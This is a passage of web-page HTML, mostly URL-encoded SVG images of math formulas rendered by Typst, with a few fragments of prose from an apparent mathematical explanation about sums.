%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.615%205.746c-.572%200-1.118-.299-1.651-.897-.143.598-.546.897-1.183.897-.533%200-.923-.429-1.196-1.274-.13-.429-.195-.676-.195-.754%200-.117.065-.182.208-.182.065%200%20.104.013.143.039a.9.9%200%200%201%20.117.299c.234.988.533%201.482.884%201.482.234%200%20.351-.182.351-.533a2.4%202.4%200%200%200-.091-.65L.572-1.534c-.117-.429-.13-.481-.637-.481-.234%200-.351-.104-.351-.299%200-.143.078-.208.221-.208.195%200%20.871.039%201.066.039.247%200%201.027-.039%201.274-.039.195%200%20.286.104.286.312%200%20.13-.117.195-.364.195-.234%200-.585-.013-.585.143%200%20.169.533%202.21.585%202.431.26-.481.65-.728%201.17-.728.845%200%201.586.429%202.236%201.3.598.793.897%201.638.897%202.509%200%201.131-.676%202.106-1.755%202.106m-.039-.39c.507%200%20.767-.39.767-1.157%200-.351-.078-.819-.221-1.404C4.823%201.664%204.446.923%203.991.546c-.273-.221-.52-.338-.767-.338-.377%200-.637.169-.78.52-.117.273-.182.468-.182.572l.663%202.717c.065.286.299.585.663.884s.689.455.988.455%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 0.6121818181818182em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; is just the sum of all &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%2227.3884pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%2027.3884%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%206.37%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2010.774%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2015.831%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2022.331%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.176%208.229c0%20.572-.559.936-1.17.936-.806%200-1.365-.52-1.664-1.547-.065-.234-.208-.897-.416-1.989h-.845c-.286%200-.429-.013-.429-.286%200-.143.13-.208.403-.208h.78L2.886.104c-.143-.741-.273-1.287-.39-1.651-.156-.481-.377-.728-.663-.728a.9.9%200%200%200-.494.143c.416.065.624.312.624.728%200%20.338-.169.507-.52.507-.442%200-.754-.39-.754-.832%200-.572.533-.936%201.144-.936.325%200%20.624.13.871.403.416.429.741%201.04.975%201.859.143.507.273%201.001.364%201.495l.754%204.043h1.066c.299%200%20.429.013.429.312%200%20.117-.13.182-.39.182H4.901c.078.533.442%202.496.559%202.743.13.273.312.403.546.403a.93.93%200%200%200%20.507-.143c-.403-.091-.611-.325-.611-.728%200-.338.169-.507.52-.507.442%200%20.754.39.754.832%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.958%205.651a.38.38%200%200%201-.392.382c-.273%200-.537-.255-.537-.527a.38.38%200%200%201%20.392-.383c.273%200%20.537.255.537.528m-1.21-1.61q-.642%200-1.01-.656c-.21-.364-.31-.619-.31-.764%200-.1.063-.146.182-.146.1%200%20.163.055.2.164.21.719.51%201.074.91%201.074.127%200%20.191-.091.191-.282%200-.119-.091-.41-.273-.883l-.564-1.447A1.1%201.1%200%200%201%20.992.71c0-.473.41-.801.883-.801.427%200%20.755.218%201%20.664.21.364.31.61.31.747%200%20.1-.064.154-.182.154-.055-.009-.118-.054-.182-.145a.1.1%200%200%201-.018-.037c-.21-.7-.51-1.055-.901-1.055q-.19%200-.191.273c0%20.136.045.327.145.564l.72%201.865q.054.15.054.3c0%20.474-.41.801-.883.801%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.134-3.224c.117%200%20.182.065.182.182%200%20.039-.026.091-.065.143-.676.52-1.222%201.378-1.625%202.561-.351%201.027-.533%202.041-.533%203.042v1.092c0%201.001.182%202.015.533%203.042.403%201.183.949%202.041%201.625%202.561a.2.2%200%200%201%20.065.143c0%20.117-.065.182-.182.182a.2.2%200%200%201-.091-.039c-.78-.598-1.43-1.482-1.963-2.665-.507-1.131-.767-2.197-.767-3.224V2.704c0-1.027.26-2.093.767-3.224.533-1.183%201.183-2.067%201.963-2.665a.2.2%200%200%201%20.091-.039%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.237-.286C5.07-.286%205.98%201.196%205.98%204.16c0%201.989-.416%203.315-1.235%203.965-.455.351-.962.533-1.495.533C1.417%208.658.507%207.163.507%204.16c0-2.392.637-4.446%202.73-4.446m1.456%207.098c.091-.455.13-1.287.13-2.496%200-1.196-.052-2.08-.143-2.652Q4.427.104%203.237.104c-.299%200-.598.117-.871.338-.351.299-.559.91-.65%201.846-.039.325-.052%201.001-.052%202.028%200%201.131.039%201.924.104%202.353.117.715.351%201.17.715%201.365.286.156.533.234.754.234.845%200%201.313-.689%201.456-1.456%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.014-3.185c.78.598%201.43%201.482%201.963%202.665.507%201.131.767%202.197.767%203.224v1.092c0%201.027-.26%202.093-.767%203.224-.533%201.183-1.183%202.067-1.963%202.665a.2.2%200%200%201-.091.039c-.117%200-.182-.065-.182-.182%200-.052.026-.104.065-.143.676-.52%201.222-1.378%201.625-2.561.351-1.027.533-2.041.533-3.042V2.704c0-1.001-.182-2.015-.533-3.042-.403-1.183-.949-2.041-1.625-2.561-.039-.052-.065-.104-.065-.143%200-.117.065-.182.182-.182.013%200%20.052.013.091.039%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 2.4898545454545453em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;, we can just remove the &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%227.436pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%207.436%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%